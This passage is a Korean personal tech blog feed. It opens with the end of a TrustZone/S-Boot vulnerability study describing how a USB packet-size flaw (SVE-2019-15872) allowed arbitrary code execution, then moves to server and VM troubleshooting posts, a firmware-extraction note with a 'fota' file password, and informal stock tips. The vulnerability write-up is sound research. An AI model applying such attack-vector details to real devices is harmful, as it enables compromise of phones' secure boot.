해당 취약점은 Fig. 9.와 같이 S-Boot에서 USB 기능의 일부 코드입니다. 이때 qword_C91494B0의 값이 반복적으로 사용하고 있음을 알 수 있습니다. 이를 통해서 opCode 0x64와 subOp 0x05로 패킷 데이터 크기를 지정할 수 있어 USB 수신되는 크기를 0x1200000보다 큰 값을 사용 가능하여 SVE-2019-15230와 같은 방식으로 임의 코드 실행이 가능합니다. 취약점 패치는 Fig. 10.와 같이 데이터 패킷의 크기를 검증하는 코드가 추가되었습니다.

Fig. 9. SVE-2019-15872 Attack Vector

Fig. 10. SVE-2019-15872 Patch

4. 결 론

본 연구는 최근 발견된 안드로이드 보안 컨테이너인 Kinibi 기반 TrustZone 취약점 분석한 연구를 제시해보았습니다. TEE는 하드웨어 기반의 가상화된 보안 격리와 TCB로 인해 안전하다는 믿음에도 불구하고 취약점이 보고되고 있습니다. 특히, 현재 TEE 시스템은 구현, 아키텍처 및 하드웨어 수준에서 심각한 한계를 가지고 있으며 이로 인해 수백 만 개의 단말기에 영향을 미치는 잠재적인 취약점이 발생할 수 있지만, 분석에 기초하여 오늘날까지 보안 연구진들은 User Mode(EL0)에서 Kernel Mode(EL1)와 User Mode(S-EL0), Monitor Mode(S-EL3)까지 취약점을 도출하고 있고 그중 Monitor Mode(S-EL3) 영역에서 임의 코드를 실행하기 위해 Fuzzing 연구가 활발히 진행되고 있기에 상업용 TEE 시스템을 훨씬 더 안전하게 구현될 것이라 전망합니다.

References

[1] Liu, Yue, et al. “Deep Learning for Android Malware Defenses: a Systematic Literature Review.” arXiv preprint arXiv:2103.05292 (2021).

[2] Farhang, Sadegh, et al. “An empirical study of Android security bulletins in different vendors.” Proceedings of The Web Conference 2020. 2020.

[3] Tang, Junwei, et al. “A novel hybrid method to analyze security vulnerabilities in android applications.” Tsinghua Science and Technology 25.5 (2020): 589-603.

[4] Jones, Kailani R., et al. “Deploying Android Security Updates: an Extensive Study Involving Manufacturers, Carriers, and End Users.” Proceedings of the 2020 ACM SIGSAC Conference on Computer and Communications Security. 2020.

[5] Hei, Xinhong, et al. “From Hardware to Operating System: A Static Measurement Method of Android System Based on TrustZone.” Wireless Communications and Mobile Computing 2020 (2020).

Android Security Awesome

NetKingJ — Sat, 8 Jan 2022 02:06:33 +0900

https://github.com/NetKingJ/android-security-awesome

GitHub - NetKingJ/android-security-awesome

Contribute to NetKingJ/android-security-awesome development by creating an account on GitHub.

github.com

2021년 회고록 그리고 2022년

NetKingJ — Fri, 31 Dec 2021 23:38:00 +0900

올해는 졸업과 동시에 취업 준비하며 어느덧 2021년 마지막 날이 되었네요.

2020년 BoB 수료 이후부터 안드로이드 모바일 단말기를 분석하며 버그바운티, 컨퍼런스, 논문 활동 등을 진행했습니다. 그러나 많은 활동을 했다고 생각했지만, 질적인 영향가가 없어 올해에는 기초부터 부족한 이론을 공부하며 보다 의미 있는 활동이 될 수 있도록 목표를 세웠습니다.

올해를 되돌아보며.

# 부경대학교

2015년 입학하여 6년간 대학 생활을 마무리하는 졸업 프로젝트인 ‘분산 ID 기반 모바일 학생증 구현과 활용’이라는 주제로 PM(~~셰르파~~)을 맡아 진행했습니다.

처음에 편하게 블록체인 오픈 소스를 이용했으나, 수천 줄 되는 코드를 이해하지 않고 기능에만 의존한다면 블록체인 구현 이해를 했다고 볼 수 없다고 판단하여 밑바닥부터 모바일 학생증을 구현해보았습니다.

이를 통해, 타 플랫폼 대비 가볍고 강력한 블록체인 플랫폼을 개발하기 위해 한국정보보호학회 학술대회에 여러 차례 참가했습니다.

첫 번째 학회에는 모델 검증받고 이후 구현에 성공하고 나서 두 번째 학회에서 높은 평가를 받아 우수 논문이라는 성과를 이뤄냈습니다. 여기서 끝내기엔 욕심이 생겨 내용 보충과 타 플랫폼 비교 분석 등을 추가하여 한국정보보호학회 논문지에 도전으로 KCI 급 논문을 등재할 수 있었습니다. (~~결과보고서가 무려 291페이지...~~)

코로나 여파로 팀원들과 자주 모이지 않고도 같이 노력했던 과정들이 앞으로도 소중한 경험이 될 것 같네요.

# CERT-IS

졸업 전에 후배들에게 남겨주고 싶은 건 많았지만, 마침 ‘Cyber Security RSS’라는 보안 기사 혹은 블로그를 수집하여 보안 기사 사이트에 따로 접속하지 않고도 한눈에 보기 좋게 정렬하는 플랫폼을 동아리원들과 함께 개발을 진행했습니다.

앞으로는 필요한 기능이 있다면, 제 손에서 벗어나 조금씩 성장하는 플랫폼이 되었으면 하는 바람입니다.

# 시원포럼

영남권 정보보안동아리들과 매년 컨퍼런스를 준비하며 인프라 발전에 힘써주기 위해 수많은 분들의 노력이 항상 빠지지 않았기에 보안에 관심 있는 학생들에게 그동안 많은 도움이 될 수 있었던 것 같습니다.

올해가 마지막 임원 활동이 된 부분에 아쉬움을 느끼지만, 기회가 된다면 또 한 번 함께 준비해보고 싶네요.

# 끝으로

사실 좋은 성과도 많았지만, 반면 실패한 경험(~~다이어트~~)도 가장 많은 해가 되었습니다.

부족한 실력에 내밀었던 취업 문턱은 아직 높았고 그만큼 준비할 과정이 많다고 생각했습니다. 그뿐만 아니라 버그바운티 중에 보안 윤리에 어긋난 행동으로 포상금 제외될 뻔했지만, 기업의 선처로 다시금 정보보안의 자세를 생각해보는 시간을 가질 수 있었지요.

또한, 학생 시절 처음이자 마지막 도전으로 대한민국 인재상에 지원하여 표창대상자 후보까지 올라갔지만 아쉽게도 최종 선발에서 떨어졌습니다. 그러나 준비하는 과정에서 그동안 저에게 참 많은 분이 가깝게도 멀리서도 도와주고 계셨기에 지금까지 저에 노력에 좋은 시너지가 되었나 생각합니다.

이제는 학생의 신분을 벗어나 실무에서 활동하는 한 해가 되도록 나아가볼 예정입니다.

2022년 임인년에도 잘 부탁합니다! 항상 감사드리며 새해 복 많이 받으세요 ❤️

Apache2 502 Bad Gateway 해결 방법

NetKingJ — Sun, 12 Dec 2021 04:03:39 +0900

※ 오류 메세지 및 의견

- 502 Bad Gateway

- Docker 내에 웹 서비스를 Host OS인 Ubuntu에서 Proxy로 외부와 연결 후 Host에서는 웹 서비스가 정상적으로 작동했지만, 외부에서 CSS, JS 코드가 불러오지 못하는 경우를 해결한 방법입니다.

※ 해결 방법

# vim /etc/apache2/sites-available/000-default.conf

ProxyPass 뒤에 아래 코드 추가

retry=1 acquire=3000 timeout=600 Keepalive=On

[예시]

<VirtualHost *:80>
        ServerName korea.kr
        ProxyPass / http://172.17.0.5:8000/ retry=1 acquire=3000 timeout=600 Keepalive=On
        ProxyPassReverse / http://172.17.0.5:8000/
</VirtualHost>

References

http://genes1s.egloos.com/3078640

[Ubuntu][Docker][MySQL] ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2) 해결 방법

NetKingJ — Fri, 10 Dec 2021 01:56:57 +0900

※ 오류 메세지

ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)

※ 해결 방법

$ sudo pkill mysql; pkill mysqld; service mysql restart

[Windows 11][VMware Workstation][패치완료] Module 'DevicePowerOn' power on failed 해결 방법

NetKingJ — Tue, 5 Oct 2021 16:52:18 +0900

★ VMware Workstation 16.2.0 Pro Release에서 해당 문제가 패치됨 ★

Module 'DevicePowerOn' power on failed

※ 오류 메시지

Unable to open kernel device '\\.\VMCIDev\VMX': 작업을 완료했습니다. Did you reboot after installing VMware Workstation?
Module 'DevicePowerOn' power on failed.
Failed to start the virtual machine.

※ 해결 방법

Step 1. 사용자가 만든 OS 중 VMware 폴더 내에 "{설치한 VMware 파일명}.vmx" 파일을 찾는다.

Step2. 해당 파일을 Notepad(메모장)을 통해 아래와 같이 설정값을 변경한다.

[변경전] vmci0.present = "TRUE"

[변경후] vmci0.present = "FALSE"

ps. 해당 문제점은 VMware에서 충분히 패치가 될 가능성이 있기에 기다려보자.

Android Application Fuzzing Review

NetKingJ — Fri, 17 Sep 2021 16:21:25 +0900

분산 ID 기반 모바일 학생증 구현

NetKingJ — Fri, 25 Jun 2021 21:33:12 +0900

Paper

https://drive.google.com/file/d/1pDPUq8gvpQ_fgPdbT8Ptyr3wCS0YNR1e/view

Google Drive - 모든 파일을 한 곳에서

하나의 계정으로 모든 Google 서비스를 Google Drive로 이동하려면 로그인하세요.

accounts.google.com

PPT

NodeJS Setting AtoZ

NetKingJ — Thu, 17 Jun 2021 17:28:02 +0900

환경

- Ubuntu 20.04 LTS

필수 패키지 설치

$ sudo apt update

$ sudo apt install -y nodejs npm curl build-essential

모듈

Express

기본 프레임워크 도구

[생성] $ npm init

[설치] $ sudo npm install -g express

* -g : 글로벌 모듈로 현재 경로가 아닌 /usr/lib/node_modules에 설치

Nodemon

서버 재부팅 없이 수정할 수 있는 도구

[설치] $ sudo npm install -g nodemon

[실행] $ nodemon server

Forever

비정상 종료시 재실행 시켜주는 도구

[설치] $ sudo npm install forever -g

[실행 및 재실행] $ sudo forever {start/restart} {app.js}

[종료] $ sudo forever stop {*.js/process}

[목록] $ sudo forever list

[Google] 안드로이드 웹뷰(Android System WebView) 앱간 충돌 원인 분석

NetKingJ — Wed, 24 Mar 2021 16:34:02 +0900

연합뉴스 기사

조선일보 기사

금일(21.03.23.) 안드로이드 스마트폰 이용자 사이에서 앱(카카오톡 등) 실행이 중단되는 이슈가 발생했고, 곧바로 핫픽스 업데이트로 해결되었다.

해당 원인(Google 형님들의 깜찍한 실수가...무엇인지)을 알아보고자 패치 전후 파일을 비교하며 원인 분석을 해보았다.

분석 대상

- 문제의 APK : Android System WebView 89.0.4389.90

- 패치된 APK : Android System WebView 89.0.4389.105

분석 전 작업

- 문제 파일 : libwebviewchromium.so

패치 전 vs 후

2개의 라이브러리(libwebviewchromium.so)를 가지고 먼저, IDA에서 바이너리 읽어와서 BinDiff로 비교해보았다.

크로미움 라이브러리 아니랄까봐 엄청 걸린다...

4시간째 Diffing .... o-<-<

DIff 완료

유사도

분석

- 90.so (sub_29D69E4)

int __fastcall sub_29D69E4(int a1, int a2, int a3, _DWORD *a4)
{
  unsigned __int64 v8; // kr00_8
  int v9; // r7
  int v10; // r1
  int result; // r0
  int v12; // r1
  __int64 v13; // r0
  int v14; // r1
  unsigned __int64 v15; // kr08_8
  int v16; // r1
  unsigned int v17; // r5
  int v18; // r10
  unsigned int v19; // r8
  unsigned int v20; // r3
  unsigned __int64 v21; // r0
  unsigned __int64 v22; // r0
  int v23; // r0
  unsigned int v24; // r1
  int v25; // r1
  unsigned __int64 v26; // r2
  int v27; // r5
  int v28; // r1
  int v29; // [sp+18h] [bp-E0h]
  char v30[12]; // [sp+24h] [bp-D4h] BYREF
  char v31[8]; // [sp+30h] [bp-C8h] BYREF
  _BYTE v32[192]; // [sp+38h] [bp-C0h] BYREF

  if ( !(*(int (__fastcall **)(int))(*(_DWORD *)a2 + 12))(a2) )
  {
    v12 = sub_20FA49C(2);
    result = 0;
    if ( !v12 || !a1 )
      return result;
    sub_20FA4A0(v31, "../../third_party/crashpad/crashpad/snapshot/memory_snapshot.cc", 32, 2);
    v13 = ((__int64 (__fastcall *)(int))*(_DWORD *)(*(_DWORD *)a2 + 8))(a2);
    goto LABEL_10;
  }
  if ( !(*(int (__fastcall **)(int))(*(_DWORD *)a3 + 12))(a3) )
  {
    v14 = sub_20FA49C(2);
    result = 0;
    if ( !v14 || !a1 )
      return result;
    sub_20FA4A0(v31, "../../third_party/crashpad/crashpad/snapshot/memory_snapshot.cc", 38, 2);
    v13 = ((__int64 (__fastcall *)(int))*(_DWORD *)(*(_DWORD *)a3 + 8))(a3);
LABEL_10:
    sub_1C6A35C(v30, "invalid empty range at 0x%llx", v13, HIDWORD(v13));
    goto LABEL_11;
  }
  v8 = ((__int64 (__fastcall *)(int))*(_DWORD *)(*(_DWORD *)a2 + 8))(a2);
  v9 = (*(int (__fastcall **)(int))(*(_DWORD *)a2 + 12))(a2);
  if ( !__CFADD__(__CFADD__(v9, (_DWORD)v8), HIDWORD(v8)) )
  {
    v15 = ((__int64 (__fastcall *)(int))*(_DWORD *)(*(_DWORD *)a3 + 8))(a3);
    v29 = (*(int (__fastcall **)(int))(*(_DWORD *)a3 + 12))(a3);
    if ( __CFADD__(__CFADD__(v29, (_DWORD)v15), HIDWORD(v15)) )
    {
      v16 = sub_20FA49C(2);
      result = 0;
      if ( !v16 || !a1 )
        return result;
      sub_20FA4A0(v31, "../../third_party/crashpad/crashpad/snapshot/memory_snapshot.cc", 54, 2);
      sub_1C6A35C(v30, "invalid range at 0x%llx, size %zu", v15, HIDWORD(v15), v29);
      goto LABEL_11;
    }
    if ( v9 )
    {
      v18 = v29;
      v17 = v15;
      v19 = HIDWORD(v8);
      v20 = HIDWORD(v15);
      v21 = v8 + (unsigned int)v9;
      if ( v15 < v21 && v29 && v8 < v15 + (unsigned int)v29 )
        goto LABEL_29;
    }
    else
    {
      v19 = HIDWORD(v8);
      v21 = v8;
      v20 = HIDWORD(v15);
      v17 = v15;
      v18 = v29;
    }
    HIDWORD(v21) ^= v20;
    if ( v21 != v17 )
    {
      v22 = __PAIR64__(v20, v17) + (unsigned int)v18;
      HIDWORD(v22) ^= v19;
      if ( v22 != (unsigned int)v8 )
      {
        v28 = sub_20FA49C(2);
        result = 0;
        if ( !v28 || !a1 )
          return result;
        sub_20FA4A0(v31, "../../third_party/crashpad/crashpad/snapshot/memory_snapshot.cc", 63, 2);
        sub_1C6A35C(v30, "ranges not overlapping or abutting: (0x%llx, size %zu) and (0x%llx, size %zu)", v8, v19, v9);
LABEL_11:
        sub_1CAA466(v32, v30);
        sub_1BA02A4(v30);
        goto LABEL_12;
      }
    }
LABEL_29:
    if ( a4 )
    {
      v23 = 0;
      v24 = v19;
      if ( __PAIR64__(v20, v17) < __PAIR64__(v19, v8) )
        v24 = v20;
      a4[1] = v24;
      v25 = v8;
      if ( __PAIR64__(v20, v17) < __PAIR64__(v19, v8) )
        v25 = v17;
      v26 = __PAIR64__(v20, v17) + (unsigned int)v18;
      v27 = v8 + v9;
      *a4 = v25;
      if ( __PAIR64__(v19, v8) + (unsigned int)v9 < v26 )
        v23 = 1;
      if ( v23 )
        v27 = v26;
      a4[2] = v27 - v25;
    }
    return 1;
  }
  v10 = sub_20FA49C(2);
  result = 0;
  if ( v10 && a1 )
  {
    sub_20FA4A0(v31, "../../third_party/crashpad/crashpad/snapshot/memory_snapshot.cc", 45, 2);
    sub_1C6A35C(v30, "invalid range at 0x%llx, size %zu", v8, v9);
    sub_1CAA466(v32, v30);
    sub_1BA02A4(v30);
LABEL_12:
    sub_20FA4A4(v31);
    result = 0;
  }
  return result;
}

- 105.so (sub_194CC50)

// attributes: thunk
int __fastcall sub_194CC50(int a1, int a2)
{
  return sub_21F7436(a1, a2);
}

패치 전후 코드 Diff 비교해보니 몇몇 함수에서 코드 날리고 콜백 함수가 추가되었지만, 강제 종료될만한 문제를 찾지 못했다. 그래서 문제의 APK를 설치해서 Crash 덤프를 살펴보았다.

- 카카오톡 Crash Info

$ adb logcat -b crash -v tag

--------- beginning of crash
E/AndroidRuntime: FATAL EXCEPTION: main
E/AndroidRuntime: Process: com.kakao.talk, PID: 5694
E/AndroidRuntime: android.view.InflateException: Binary XML file line #22 in com.kakao.talk:layout/fragment_shopping_tab: Binary XML file line #22 in com.kakao.talk:layout/fragment_shopping_tab: Error inflating class com.kakao.talk.activity.shop.commerce.CommerceCustomWebView
E/AndroidRuntime: Caused by: android.view.InflateException: Binary XML file line #22 in com.kakao.talk:layout/fragment_shopping_tab: Error inflating class com.kakao.talk.activity.shop.commerce.CommerceCustomWebView

...

E/AndroidRuntime: Caused by: java.lang.UnsatisfiedLinkError: dlopen failed: "/data/app/~~kTTfUTIJkSRazMbBfuk5kw==/com.google.android.webview-ATG1yhB-CsB259OEQSIu-A==/lib/arm/libwebviewchromium.so" is 32-bit instead of 64-bit
E/AndroidRuntime:       at java.lang.Runtime.loadLibrary0(Runtime.java:1087)
E/AndroidRuntime:       at java.lang.Runtime.loadLibrary0(Runtime.java:1008)
E/AndroidRuntime:       at java.lang.System.loadLibrary(System.java:1664)
E/AndroidRuntime:       at wH.j(chromium-SystemWebViewGoogle.aab-stable-438909000:17)
E/AndroidRuntime:       ... 57 more

... dlopen failed: ... is 32-bit instead of 64-bit

아... 그냥 64bit 안드로이드 기기여서 32bit 라이브러리를 제대로 불러오지 못해 Runtime 에러가 발생한 것이다.
그러므로 카카오톡을 실행할 때 WebView 앱 또한 실행되면서 동시에 강제 종료되는 점이 원인이 될 수 있다.

그렇기 때문에 WebView 배포 시 64bit 안드로이드를 위해 앱 라이브러리(lib)에 arm64-v8a가 존재하지 않아 문제가 생겼다. (구글 형님들의 코딩에 의한 실수는 아녔다... )

arm64-v8a....응? 있는데??? 아...?

APK 미러 사이트에서는 arm64-v8a가 보여서 해당 앱을 설치한 결과 강제 종료되는 현상이 보이지 않았고 다양한 기기에 테스팅 못해 찝찝한 마음으로 분석을 끝냅니다. (여담으로 배포는 03.14.인데 오류는 03.23.에 나온 거지?)

요약

1. 앱 배포 시 64bit 안드로이드에서 arm64-v8a에 맞추지 않아도 WebView 앱은 설치가 가능하다.

2. 하지만, 64bit 안드로이드에서 32bit 라이브러리를 불러오는 과정에서 Runtime 에러 발생

3. 2019년 8월 1일부터는 Google Play에 앱 등록 시 64bit 라이브러리를 지원해야 하므로 개발할 때 유의하자.

Reference

64비트 아키텍처 지원 : developer.android.com/distribute/best-practices/develop/64-bit?hl=ko

APKMirror : www.apkmirror.com/

모니터없는 우분투에 가상 드라이브 설치

NetKingJ — Thu, 4 Mar 2021 15:23:34 +0900

우분투 서버 사용 시 모니터 없어서 검은 화면이 보이곤 하는데 아래를 통해 해결할 수 있다.

$ sudo apt-get install xserver-xorg-video-dummy

$ sudo vim /etc/X11/xorg.conf

아래 코드 추가 (파일 없다면 생성)

Section "Device"
    Identifier  "Configured Video Device"
    Driver      "dummy"
EndSection

Section "Monitor"
    Identifier  "Configured Monitor"
    HorizSync 31.5-48.5
    VertRefresh 50-70
EndSection

Section "Screen"
    Identifier  "Default Screen"
    Monitor     "Configured Monitor"
    Device      "Configured Video Device"
    DefaultDepth 24
    SubSection "Display"
    Depth 24
    Modes "2560x1440"
    EndSubSection
EndSection

VMware Workstation 16에서 macOS BigSur 설치하기 (AMD버전)

NetKingJ — Wed, 24 Feb 2021 02:21:02 +0900

준비물

- VMware Workstation 16

- VMware Workstation 16 Unlocker Utility : github.com/paolo-projects/unlocker/releases/

Releases · paolo-projects/unlocker

VMware Workstation macOS . Contribute to paolo-projects/unlocker development by creating an account on GitHub.

github.com

- macOS BigSur : drive.google.com/file/d/1tprXjxoUdWVgM8XLp2GQ93bKSbiw1iD1/view

BigSur.zip

drive.google.com

실행 전 과정 (VMware 설정)

1. Unlocker 폴더에서 "win-install.cmd" 관리자 권한으로 실행

2. VMware Workstation 16(이하. VM16) 실행하여 "New Virtual Machine Wizrd" 선택

3. "Typical (recommended)" 선택

4. ISO 찾기에서 구글 드라이브에서 받아온 "BigSur.iso" 파일 선택

5. "Apple Mac OS X" 선택 후 "macOS 11.1" 버전 선택

6. 설치할 폴더 알아서 / 용량 알아서("Store virtual disk as a single file" 선택)

7. Hardware 설정에서 Memory는 8G 이상 / CPU 4 코어 이상("Virtualize Intel VT-x/EPT or AMD-V/RVI" 선택) / USB Controller에서 "Show all USB input devices" 선택

8. ISO 설치된 폴더 내에 .vmx 확장자 찾아서 아래 코드 맨 아래 추가

smc.version = "0"
cpuid.0.eax = "0000:0000:0000:0000:0000:0000:0000:1011"
cpuid.0.ebx = "0111:0101:0110:1110:0110:0101:0100:0111"
cpuid.0.ecx = "0110:1100:0110:0101:0111:0100:0110:1110"
cpuid.0.edx = "0100:1001:0110:0101:0110:1110:0110:1001"
cpuid.1.eax = "0000:0000:0000:0001:0000:0110:0111:0001"
cpuid.1.ebx = "0000:0010:0000:0001:0000:1000:0000:0000"
cpuid.1.ecx = "1000:0010:1001:1000:0010:0010:0000:0011"
cpuid.1.edx = "0000:0111:1000:1011:1111:1011:1111:1111"
smbios.reflectHost = "TRUE"
hw.model = "MacBookPro14,3"
board-id = "Mac-551B86E5744E2388"

9. 실행

실행 후 과정 (Mac 부트 설치)

1. "Disk Utility" 선택 후 "VMware Virtual SATA Hard Drive Media"에서 "Erase" 클릭 후 이름을 "macOS"한 뒤 "Erase" 클릭

2. 나와서 "Install macOS Big Sur" 선택

3. 설치 과정에서 계정 설정은 알아서

설치 후 최적화 과정 (VMware Tools 설치)

1. 정상적으로 Mac 바탕화면이 보인다면, OS 종료

2. OS 설정인 "Virtual Machine Settings"으로 들어가 "CD/DVD (SATA)"에서 Unlocker 폴더(Tool) 내에 "darwin.iso" 파일 선택 후 OS 실행

3. 바탕화면에서 "VMware Tools" 실행

4. 설치 도중 시스템 확장 프로그램 차단됨이라는 안내 창이 나오는데 "보안 환경설정 열기" 클릭

5. 왼쪽 맨 아래 자물쇠 클릭해서 패스워드 입력 후 "허용" 버튼 누르고 재부팅

INJOY!!

이미지 첨부하면서 작성하고 싶었지만, 이미 설치해버렸다 :P

Samsung Firmware Reference

NetKingJ — Tue, 2 Feb 2021 21:19:11 +0900

준비

- simg2img : db.netking.xyz/index.php/s/1TMP0jKU13gTy3A

- 7zip : https://www.7-zip.org/

- 삼성 펌웨어 중 AP 파일 (Galaxy Note 20 Ultra / SM-N986 기준)

동적 파티션으로 전환 시의 새로운 물리 파티션 테이블 레이아웃

* Android 10부터 'system, vendor, product'를 'super.img로 관리

데이터 추출

1. 'AP~~~.tar.md5' 압축 풀기

2. simg2img.exe super.img super.raw

3. super.raw → 7-Zip → 압축풀기(Extract file)

2번

기타

- Samsung Open Source : opensource.samsung.com/main

- File 'fota' Password : fotatest1234

- PIT : Partition Information Table / BL : Bootloader / AP : Application Processor / CP : Core Processor / CSC : Consumer Software Customization

Apache2 Setting AtoZ

NetKingJ — Mon, 11 Jan 2021 10:34:30 +0900

여러 호스트 구축

동일한 IP(example.com)에서 여러 호스트(a.example.com, b.example.com ...) 생성은 다음과 같다.

* 플랫폼 : Apache2

* 위치 : /etc/apache2/sites-available

Step 1. {Site_name}.conf (ex. test_page.conf)

* 수정한 부분 : {Folder_name}

$ sudo vim {Site_name}.conf

<VirtualHost *:80>
        DocumentRoot /var/www/{folder_name}
        <Directory /var/www/{folder_name}/>
                Options None
                AllowOverride All
        </Directory>
</VirtualHost>

Step 2. 000-default.conf

* 수정한 부분 : {New_Domain_name}, {Folder_name}

$ sudo vim 000-default.conf

<VirtualHost *:80>
        ServerName {New_Domain_name}
        DocumentRoot /var/www/{Folder_name}
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

Step 4. 끝

$ sudo service apache2 restart

SSL (Let’s Encrypt 기준)

* 수정한 부분 : {Folder_name}, {New_Domain_name}, {Domain_name}

- 설치

$ sudo apt install certbot python3-certbot-apache

- 도메인별로 인증서 추가

* 도메인 제거 : $ sudo letsencrypt revoke --cert-path /etc/letsencrypt/archive/{Domain_name}/cert1.pem

$ sudo letsencrypt certonly -d {New_Domain_name}

$ sudo vim 000-default-le-ssl.conf

<VirtualHost *:443>
        ServerName {New_Domain_name}
        DocumentRoot /var/www/{Folder_name}
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
        Include /etc/letsencrypt/options-ssl-apache.conf
        SSLCertificateFile /etc/letsencrypt/live/{New_Domain_name}/fullchain.pem
        SSLCertificateKeyFile /etc/letsencrypt/live/{New_Domain_name}/privkey.pem
</VirtualHost>

- 등록된 인증서 조회

$ sudo certbot certificates

- 인증서 갱신

$ sudo certbot renew

- 인증서 자동 갱신

$ sudo crontab -e

[추가] 0 5 * * 6 certbot renew --post-hook "service apache2 reload"

- 인증서 삭제

$ certbot delete --cert-name {Domain_name}

타 사이트 리다이렉트

* 수정한 부분 : {New_Domain_name}, {Other_Domain_name}

$ sudo vim 000-default.conf

<VirtualHost *:80>
        ServerName {New_Domain_name}
        Redirect permanent / {Other_Domain_name}
</VirtualHost>

HTTPS 리다이렉트 (HTTP → HTTPS)

* 추가한 도메인 안에 넣으면 된다.

* 수정한 부분 : {New_Domain_name}

$ sudo vim 000-default.conf

Redirect / http://{New_Domain_name}
RewriteEngine on
RewriteCond %{HTTPS} off
RewriteRule .* https://%{SERVER_NAME}%{REQUEST_URI} [R=301,L]

폴더 권한 부여

$ sudo /etc/apache2/apache2.conf

<Directory {Folder_name}>
        Options Indexes FollowSymLinks
        AllowOverride None
        Require all granted
</Directory>

Apache2와 Nginx 비교

1. <VirtualHost *:80> ... </VirtualHost> = server { .. }

2. DocumentRoot = root

3. <Directory ...> ... </Directory> = location / { ... }

보안

- 서버 정보 숨기기

$ sudo vim /etc/apache2/conf-available/security.conf

[수정] OS → Prod

ServerTokens Prod

- 디렉토리 인덱싱 및 심볼릭 링크 차단

$ sudo vim /etc/apache2/apache2.conf

[수정] Indexes FollowSymLinks → None

<Directory /var/www/>
        Options Indexes FollowSymLinks
        AllowOverride None
        Require all granted
</Directory>

링크 걸때 주의할 점

- 잘못된 예시 : sudo ln -s default /etc/nginx/sites-enabled/

- 올바른 예시 : sudo ln -s /etc/nginx/sites-available/default /etc/nginx/sites-enabled/

scrcpy 명령어

NetKingJ — Tue, 5 Jan 2021 22:11:29 +0900

scrcpy

USB, TCP/IP에 연결된 안드로이드 기기의 화면 공유 및 제어 제공

사용가능한 환경

- GNU/Linux, Window, MacOS

설치

- Linux

sudo snap install scrcpy

- Window

exe : https://github.com/Genymobile/scrcpy/releases/tag/v1.17

- MacOS

brew install scrcpy

주요 명령어

- 유선 연결(USB)

scrcpy

- 무선 연결(TCP/IP)

adb kill-server
adb tcpip {port}
adb connect {devices_ip or domain}:{port}  # 원격지 컴퓨터
scrcpy  # 원격지 컴퓨터

- 다중 디바이스 연결

scrcpy -s {adb_devices}

Reference

scrcpy 공식문서 : github.com/Genymobile/scrcpy

scrcpy 한글문서 : github.com/Genymobile/scrcpy/blob/master/README.ko.md

수익률 400% 올린 개미가 알려주는 주식 덕담

NetKingJ — Wed, 30 Dec 2020 15:05:23 +0900

안녕하세요.
그동안 주식에 대해 경험과 노하우를 마치 친구에게 알려주듯이 친근하고 유쾌하게 작성해보았어요.
저도 아는 것이 많이 없는 학생이지만, 작게나마 도움이 되었으면 하네요.
궁금한 부분이 있다면 댓글이나 메일 보내주시면 답변드리며, 지적할 부분도 언제든 말씀 주세요!
그럼 다들 성투하시길 :D

Q1. 니눈데?

- 학과 : 경제학 1도 모르는 공대생
- 주식 6년 차 동학 개미 일원
- 2020년 KB증권 실전투자대회 대학생 부문 7월 리그 4위 (수익률. 67.00%)

- 2020년 KB증권 실전투자대회 대학생 부문 8월 리그 7위 (수익률. 50.58%)

- 2020년 KB증권 실전투자대회 대학생 부문 10월 리그 6위 (수익률. 59.79%)

수익 공개 (20.01.01 ~ 12.31)

Q2. 이거 뭐라하는거고!

▶ 일반적인 용어

- HTS : 컴퓨터로 주식하는 것

- MTS : 폰으로 주식하는 것

- 매매 : 매수, 매도로 사고파는 것

- PER (Price Earning Ratio, 주당 이익)
- PBR (Price to Book Ratio, 순자산) = 자산 - 부채
- ROE (Return On Equity, 자기자본이익률) = (순이익 / 자기자본) * 100
- ROA (Return On Assets, 총자산순이익률) = (순이익 / 총자산) * 100
- VI (Volatility Interruption, 변동성완화장치) : 주가가 급변동할 경우 일시적 단일가 매매로 전환하는 장치

- 스켈핑 : 분, 초 단위로 거래(초단타 매매)

- 데이트레이드 : 당일 매매

- 단타 : 최대 5일 매매

- 스윙 : 2주 이상, 1~3개월 매매

- 장투 : 6개월 이상 매매

▶ 은어

- 개미 : 너

- 주포 : 돈 많은 행님

- 개미 털기 : 너 매도하라는 주포 행님 애꿎은 장난

- 동전주 : 동전 단위 종목

- 쩜상, 쩜하 : 시초가 상한, 하한일 때

- 떡상, 떡락 : 폭등, 폭락

Q3. 주식 우짜하면 되니?

- 주식 통장 개설은 메이저 증권사(ex. 키움, KB증권)를 이용하자 (매매 수수료를 떠나서 활용할 수 있는 기능이 좋다)
- 주식하는 지인, 친구에게 종목을 추천받거나 주지도 말자 (주식하는 꿀팁과 공부방법을 듣고 배우거나 참고하는 것이 차리리 도움된다)
- 가능한 핸드폰으로 매매하지마 (다급한 마음에 제대로된 종목을 포착하지 못한다)
- 코스닥은 2~3번 생각하고 매수해라 (코스닥은 코스피보다 상하폭 차이가 클수 있기 때문에 매매에 참고하자)
- 실시간 방송 중 유튜버가 매수한 종목에 들어가질 말 것. (남 따라 하지 말고 자신이 판단해라)
- 테마주에 매우 신중하게 들어갈 것. (오르는 시간보다 내려가는 시간이 짧다는 걸 명심하자)

테마주에 매우 신중하게 들어갈 것

- 신용 매수는 절대 이용하지 않을 것. (그냥 하지도 말고 신청도 해두지 마라 제발!)
- 종목 검색기를 활용할 것. (종목 분석을 잘해도 수백 수천개 종목을 언제 다 찾아보니? 검색기를 이용해서 내가 원하는 구간에 포착되는 수식을 만들자)
- 자신이 만든 검색기 수식을 자동 모의매매부터 수익을 보며 수정할 것. (포착된 종목에서 이익과 손실을 잘 정하고 부족한 수식을 고쳐나가자)
- 자신의 기준(노하우)을 만들 것. (남 말 듣는 것보다 자기가 공부하고 매매하면서 느끼고 깨달은 경험이 최고다)
- 오전(09:00~10:00) 장 단타는 3~5%만 먹고 나오자. (물리면 하루가 고생)

오전(09:00~10:00)장 단타는 3~5%만 먹고 나오자

- 시드(돈) 늘려볼 생각할 때 실력을 늘려라. (실력이 좋으면 100만 원으로도 1000만 원 만든다. 그러니 돈을 더 구할 시간에 주식 공부에 투자하자)
- 친구가 특정 종목 좋냐고 물어보면 고점이다. (지인이 좋다하면, 앞집 개도 안다. 그러니 팔아두자)

